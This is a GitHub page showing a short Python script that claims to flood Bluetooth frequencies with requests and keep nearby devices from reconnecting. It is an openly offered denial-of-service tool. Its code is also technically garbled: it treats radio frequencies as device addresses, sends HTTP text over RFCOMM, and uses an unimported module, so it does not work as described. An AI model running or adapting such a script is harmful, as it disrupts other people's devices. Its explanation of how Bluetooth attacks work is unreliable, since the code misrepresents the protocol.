-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathspam-bluetooth
42 lines (36 loc) · 1.6 KB
/
spam-bluetooth
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import time
import bluetooth
def spam_bluetooth_frequency(frequency):
"""Spams the given Bluetooth frequency with requests and prevents connected devices from reconnecting."""
hci_interface = "hci1" # Specify the HCI interface you want to use
# Create a Bluetooth socket and specify the HCI interface
socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
socket.bind((hci_interface, 0))
# Connect to the frequency
socket.connect((frequency, 1))
# Send 200 requests
for i in range(200):
socket.send('GET / HTTP/1.1\r\nHost: localhost\r\n\r\n')
time.sleep(1)
# Close the socket
socket.close()
# Send a message to all connected devices to prevent them from reconnecting
for device in bluetooth.discover_devices(lookup_names=True, device_id=0, duration=8, flush_cache=True, lookup_class=False):
socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
socket.bind((hci_interface, 0))
socket.connect((device[0], 1)) # device[0] is the Bluetooth device address
socket.send('STOP\r\n')
socket.close()
def spam_all_frequencies():
"""Spams all Bluetooth frequencies with requests and prevents connected devices from reconnecting."""
# Activate the Bluetooth adapter
subprocess.run(["hciconfig", "hci1", "up"])
# Spam all Bluetooth frequencies
frequencies = range(2402, 2480)
for frequency in frequencies:
spam_bluetooth_frequency(frequency)
time.sleep(15)
# Deactivate the Bluetooth adapter
subprocess.run(["hciconfig", "hci1", "down"])
if __name__ == '__main__':
spam_all_frequencies()